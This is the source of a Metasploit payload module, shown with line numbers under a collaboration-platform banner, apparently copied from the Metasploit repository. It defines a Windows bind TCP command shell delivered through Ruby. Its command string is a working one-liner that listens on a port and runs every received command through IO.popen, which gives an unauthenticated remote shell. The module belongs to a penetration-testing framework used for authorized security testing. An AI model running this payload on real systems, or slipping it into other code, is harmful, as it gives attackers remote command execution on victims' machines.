Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6

7
module MetasploitModule
8

9
  CachedSize = 128
10

11
  include Msf::Payload::Single
12
  include Msf::Sessions::CommandShellOptions
13

14
  def initialize(info = {})
15
    super(merge_info(info,
16
     'Name'        => 'Windows Command Shell, Bind TCP (via Ruby)',
17
     'Description' => 'Continually listen for a connection and spawn a command shell via Ruby',
18
     'Author'      => 'kris katterjohn',
19
     'License'     => MSF_LICENSE,
20
     'Platform'    => 'win',
21
     'Arch'        => ARCH_CMD,
22
     'Handler'     => Msf::Handler::BindTcp,
23
     'Session'     => Msf::Sessions::CommandShell,
24
     'PayloadType' => 'cmd',
25
     'RequiredCmd' => 'ruby',
26
     'Payload'     => { 'Offsets' => {}, 'Payload' => '' }
27
    ))
28
    register_advanced_options(
29
      [
30
        OptString.new('RubyPath', [true, 'The path to the Ruby executable', 'ruby'])
31
      ]
32
    )
33
  end
34

35
  def generate(_opts = {})
36
    return super + command_string
37
  end
38

39
  def command_string
40
    "#{datastore['RubyPath']} -rsocket -e \"s=TCPServer.new(\\\"#{datastore['LPORT']}\\\");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,\\\"r\\\"){|io|c.print io.read}end;end\""
41
  end
42
end
43

44